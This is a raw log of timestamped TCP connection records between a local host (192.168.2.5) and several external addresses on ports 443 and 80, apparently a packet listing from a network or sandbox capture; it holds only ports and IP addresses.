Nov 25, 2024 18:28:45.831489086 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.831552029 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.917813063 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.954119921 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.954152107 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.954199076 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.954220057 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.954243898 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.954266071 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.965141058 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.965213060 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.965228081 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.965245008 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.965267897 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.965331078 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.969310045 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.969330072 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.084175110 CET	443	49852	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:46.084199905 CET	443	49852	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:46.084275961 CET	49852	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:46.084280968 CET	443	49852	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:46.084335089 CET	49852	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:46.089009047 CET	49852	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:46.089032888 CET	443	49852	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:46.106374025 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.106456041 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.106519938 CET	49857	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.106846094 CET	49857	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.106877089 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.106888056 CET	49857	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.106894970 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.110750914 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.110800028 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.110861063 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.111140966 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.111157894 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.191941023 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.192028999 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.192109108 CET	49856	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.193320990 CET	49856	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.193366051 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.193394899 CET	49856	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.193412066 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.197019100 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.197067976 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.197148085 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.197307110 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.197320938 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.210530996 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.210699081 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.210773945 CET	49855	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.210957050 CET	49855	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.210980892 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.211004972 CET	49855	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.211015940 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.214639902 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.214684963 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.214766026 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.214925051 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.214941978 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.237185955 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.237565041 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.237636089 CET	49854	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.237839937 CET	49854	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.237858057 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.237870932 CET	49854	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.237876892 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.241477013 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.241507053 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.241662025 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.241803885 CET	49872	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:46.241816998 CET	443	49872	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:46.249536991 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.249630928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.249830961 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.249878883 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.249984026 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.250096083 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.250159979 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.250193119 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.250946045 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.251003027 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.251045942 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.251218081 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.251843929 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.251892090 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.251983881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.252029896 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.252916098 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.253037930 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.253093004 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.253602982 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.253722906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.253781080 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.253889084 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.254647970 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.254698992 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.254728079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.254762888 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.255386114 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.255471945 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.255513906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.256005049 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.256390095 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.256433964 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.256449938 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.256484985 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.257258892 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.257311106 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.257344961 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.257580042 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.258096933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.258196115 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.258285999 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.259016037 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.259073973 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.259109974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.259251118 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.259947062 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.259994984 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.260006905 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.260188103 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.260842085 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.261002064 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.261060953 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.261734009 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.261785984 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.261812925 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.261945963 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.262645960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.262696981 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.262749910 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.262872934 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.263580084 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.263653040 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.263689041 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.263837099 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.264420033 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.264471054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.264528036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.264571905 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.265327930 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.265377998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.265465975 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.265609026 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.266441107 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.266454935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.266516924 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.267168999 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.267216921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.267226934 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.267306089 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.268073082 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.268127918 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.268163919 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.268202066 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.268965960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.269090891 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.269146919 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.269917965 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.269964933 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.270044088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.270085096 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.270812988 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.270868063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.270903111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.271096945 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.271687984 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.271733999 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.271770000 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.271809101 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.272569895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.272617102 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.272696018 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.272836924 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.273570061 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.273614883 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.273627996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.273823023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.274446964 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.274507046 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.274533033 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.274570942 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.275515079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.275554895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.275567055 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.275819063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.276225090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.276282072 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.276359081 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.276500940 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.277121067 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.277172089 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.277237892 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.277278900 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.278029919 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.278048038 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:46.278100014 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.357969999 CET	49873	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:46.358010054 CET	443	49873	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:46.358122110 CET	49873	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:46.358510971 CET	49874	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:46.358556032 CET	443	49874	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:46.358740091 CET	49873	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:46.358755112 CET	443	49873	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:46.358758926 CET	49874	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:46.358994961 CET	49874	443	192.168.2.5	23.44.203.82
Nov 25, 2024 18:28:46.359009981 CET	443	49874	23.44.203.82	192.168.2.5
Nov 25, 2024 18:28:46.359364033 CET	49875	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:46.359457016 CET	443	49875	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:46.359613895 CET	49875	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:46.359848022 CET	49875	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:46.359883070 CET	443	49875	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:46.360675097 CET	49876	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:46.360703945 CET	443	49876	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:46.361352921 CET	49876	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:46.361541986 CET	49876	443	192.168.2.5	204.79.197.219
Nov 25, 2024 18:28:46.361556053 CET	443	49876	204.79.197.219	192.168.2.5
Nov 25, 2024 18:28:46.421189070 CET	443	49865	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.421552896 CET	49865	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.421571016 CET	443	49865	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.423250914 CET	443	49861	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:46.423496008 CET	49861	443	192.168.2.5	18.238.49.74
Nov 25, 2024 18:28:46.423517942 CET	443	49861	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:46.424550056 CET	443	49861	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:46.424859047 CET	49861	443	192.168.2.5	18.238.49.74
Nov 25, 2024 18:28:46.424990892 CET	443	49865	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.425013065 CET	443	49861	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:46.425044060 CET	49865	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.425168037 CET	49861	443	192.168.2.5	18.238.49.74
Nov 25, 2024 18:28:46.425517082 CET	49865	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.425594091 CET	443	49865	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.425683022 CET	49865	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.425688982 CET	443	49865	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.467328072 CET	443	49861	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:46.468630075 CET	443	49866	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.468895912 CET	49866	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.468915939 CET	443	49866	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.470820904 CET	443	49866	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.470880985 CET	49866	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.471216917 CET	49866	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.471280098 CET	443	49866	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.471441031 CET	49866	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.471448898 CET	443	49866	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.474169016 CET	49865	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.477338076 CET	443	49864	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.477560043 CET	49864	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.477593899 CET	443	49864	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.477916956 CET	443	49864	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.478192091 CET	49864	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.478250980 CET	443	49864	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.478380919 CET	49864	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.511667013 CET	49866	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.519325972 CET	443	49864	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.523152113 CET	443	49862	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.523286104 CET	443	49863	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.523442984 CET	443	49858	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:46.523674011 CET	49862	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.523691893 CET	443	49862	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.523813009 CET	49863	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.523833036 CET	443	49863	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.524214029 CET	443	49863	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.524719954 CET	443	49862	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.524776936 CET	49862	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.525192976 CET	49863	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.525325060 CET	443	49863	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.525656939 CET	49862	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.525726080 CET	443	49862	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.526103973 CET	49863	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.526155949 CET	49862	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.526165962 CET	443	49862	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.535619974 CET	49858	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:46.535707951 CET	443	49858	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:46.536593914 CET	49858	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:46.536607981 CET	443	49858	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:46.536712885 CET	49858	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:46.536741972 CET	443	49858	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:46.569221020 CET	443	49859	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:46.569524050 CET	49859	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:46.569547892 CET	443	49859	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:46.570596933 CET	443	49859	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:46.570663929 CET	49859	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:46.571331024 CET	443	49863	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.571798086 CET	49859	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:46.571865082 CET	443	49859	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:46.572175980 CET	49859	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:46.572186947 CET	443	49859	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:46.572259903 CET	49859	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:46.572274923 CET	443	49859	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:46.574646950 CET	49862	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.614456892 CET	443	49860	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:46.614875078 CET	49860	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:46.614897966 CET	443	49860	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:46.616414070 CET	443	49860	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:46.616480112 CET	49860	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:46.617568016 CET	49860	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:46.617656946 CET	443	49860	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:46.617799997 CET	49860	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:46.622250080 CET	49859	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:46.663332939 CET	443	49860	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:46.668901920 CET	49860	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:46.668912888 CET	443	49860	20.96.153.111	192.168.2.5
Nov 25, 2024 18:28:46.716499090 CET	49860	443	192.168.2.5	20.96.153.111
Nov 25, 2024 18:28:46.888582945 CET	443	49865	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.888641119 CET	443	49865	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.888689995 CET	49865	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.888710022 CET	443	49865	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.889542103 CET	443	49865	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.889605999 CET	49865	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.890717030 CET	49865	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.890736103 CET	443	49865	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.890747070 CET	49865	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.890786886 CET	49865	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.895587921 CET	443	49861	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:46.895765066 CET	443	49861	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:46.895864010 CET	49861	443	192.168.2.5	18.238.49.74
Nov 25, 2024 18:28:46.897207022 CET	49861	443	192.168.2.5	18.238.49.74
Nov 25, 2024 18:28:46.897227049 CET	443	49861	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:46.916822910 CET	443	49866	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.916948080 CET	443	49866	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.917249918 CET	49866	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.917900085 CET	49866	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.917944908 CET	443	49866	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.925398111 CET	443	49864	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.925422907 CET	443	49864	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.925487995 CET	443	49864	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.925487995 CET	49864	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.925554037 CET	49864	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.926713943 CET	49864	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.926733017 CET	443	49864	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.928714991 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.928745985 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:46.979680061 CET	443	49862	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.979701042 CET	443	49862	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.979768991 CET	443	49862	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.979794025 CET	49862	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.979846001 CET	49862	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.981328011 CET	49862	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:46.981343985 CET	443	49862	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:46.986933947 CET	443	49863	104.117.182.59	192.168.2.5
